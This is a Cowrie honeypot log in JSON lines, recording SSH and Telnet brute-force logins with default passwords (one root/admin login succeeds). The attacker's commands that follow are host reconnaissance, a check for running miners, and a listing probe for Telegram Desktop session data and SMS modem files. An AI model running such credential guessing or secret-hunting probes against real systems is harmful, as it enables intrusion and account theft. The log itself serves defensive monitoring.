{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:41.770449Z","src_ip":"165.154.36.71","session":"0cdd397b40ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:41.844823Z","src_ip":"165.154.36.71","session":"0cdd397b40ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"ftp","message":"login attempt [ftp_user/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:42.167562Z","src_ip":"165.154.36.71","session":"0cdd397b40ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:43.243246Z","src_ip":"165.154.36.71","session":"0cdd397b40ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"131.0.30.201","src_port":58002,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe42d183329c","protocol":"telnet","message":"New connection: 131.0.30.201:58002 (10.17.0.5:23) [session: fe42d183329c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:59:59.865028Z"}
{"eventid":"cowrie.session.connect","src_ip":"175.196.135.187","src_port":43106,"dst_ip":"159.203.135.109","dst_port":22,"session":"47d948f74318","protocol":"ssh","message":"New connection: 175.196.135.187:43106 (159.203.135.109:22) [session: 47d948f74318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:24.054883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:24.065190Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:24.650272Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.654342651367188,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:30.519230Z","src_ip":"131.0.30.201","session":"fe42d183329c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:31.771609Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:33.470756Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:34.937567Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:34.941963Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:34.945417Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:35.586723Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:37.049459Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:37.053360Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:37.771839Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:38.949355Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:38.953023Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:39.620770Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:41.248909Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:41.252579Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:41.923918Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:43.811846Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:43.815715Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:44.410200Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:45.680828Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:45.684494Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:46.286108Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:48.073583Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:48.076992Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":49812,"dst_ip":"159.203.135.109","dst_port":22,"session":"38b2ebb76438","protocol":"ssh","message":"New connection: 165.154.36.71:49812 (159.203.135.109:22) [session: 38b2ebb76438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:48.476275Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:48.480508Z","src_ip":"165.154.36.71","session":"38b2ebb76438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:48.557736Z","src_ip":"165.154.36.71","session":"38b2ebb76438","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","size":794,"shasum":"722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05","duplicate":true,"duration":"0.8","message":"Closing TTY Log: var/lib/cowrie/tty/722079119c91e28374578deb867362aea3f1e9381c78fc96d6228dc393ea6c05 after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:48.857378Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"zaq123","message":"login attempt [user/zaq123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:48.872691Z","src_ip":"165.154.36.71","session":"38b2ebb76438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:49.946232Z","src_ip":"165.154.36.71","session":"38b2ebb76438","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:50.084224Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"locate D877F783D5D3EF8Cs","message":"CMD: locate D877F783D5D3EF8Cs","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:50.087428Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","size":0,"shasum":"3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa","duplicate":true,"duration":"1.7","message":"Closing TTY Log: var/lib/cowrie/tty/3fabfde4895f276b5d2448dc4d097af08b38b65d732145b525aab43e562d6bfa after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:51.831753Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:53.202128Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo Hi | cat -n","message":"CMD: echo Hi | cat -n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:53.205604Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","size":11,"shasum":"3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e","duplicate":true,"duration":"1.6","message":"Closing TTY Log: var/lib/cowrie/tty/3e8341eade715d716ae9fe37db380fb9cab5f953782fe691fcf3af29041a344e after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:00:54.851122Z","src_ip":"175.196.135.187","session":"47d948f74318","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.15.131.165","src_port":40782,"dst_ip":"159.203.135.109","dst_port":22,"session":"d89849d13d7c","protocol":"ssh","message":"New connection: 171.15.131.165:40782 (159.203.135.109:22) [session: d89849d13d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:01:08.173355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:01:08.178454Z","src_ip":"171.15.131.165","session":"d89849d13d7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:01:08.420505Z","src_ip":"171.15.131.165","session":"d89849d13d7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testwww","password":"testwww","message":"login attempt [testwww/testwww] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:01:09.430075Z","src_ip":"171.15.131.165","session":"d89849d13d7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.149.254","src_port":37868,"dst_ip":"159.203.135.109","dst_port":23,"session":"a21523a70902","protocol":"telnet","message":"New connection: 176.65.149.254:37868 (159.203.135.109:23) [session: a21523a70902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:01:34.646888Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.51.42.169","src_port":5240,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba859bbe1843","protocol":"telnet","message":"New connection: 189.51.42.169:5240 (159.203.135.109:23) [session: ba859bbe1843]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:01:40.450947Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":20915,"dst_ip":"10.17.0.5","dst_port":23,"session":"4beec9f86db1","protocol":"telnet","message":"New connection: 212.55.149.117:20915 (10.17.0.5:23) [session: 4beec9f86db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:01:46.320287Z"}
{"eventid":"cowrie.session.closed","duration":12.561498403549194,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:01:53.012438Z","src_ip":"189.51.42.169","session":"ba859bbe1843","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.36.71","src_port":13470,"dst_ip":"159.203.135.109","dst_port":22,"session":"c73fecf33150","protocol":"ssh","message":"New connection: 165.154.36.71:13470 (159.203.135.109:22) [session: c73fecf33150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:01:54.007040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T03:01:54.011951Z","src_ip":"165.154.36.71","session":"c73fecf33150","protocol":"ssh"}
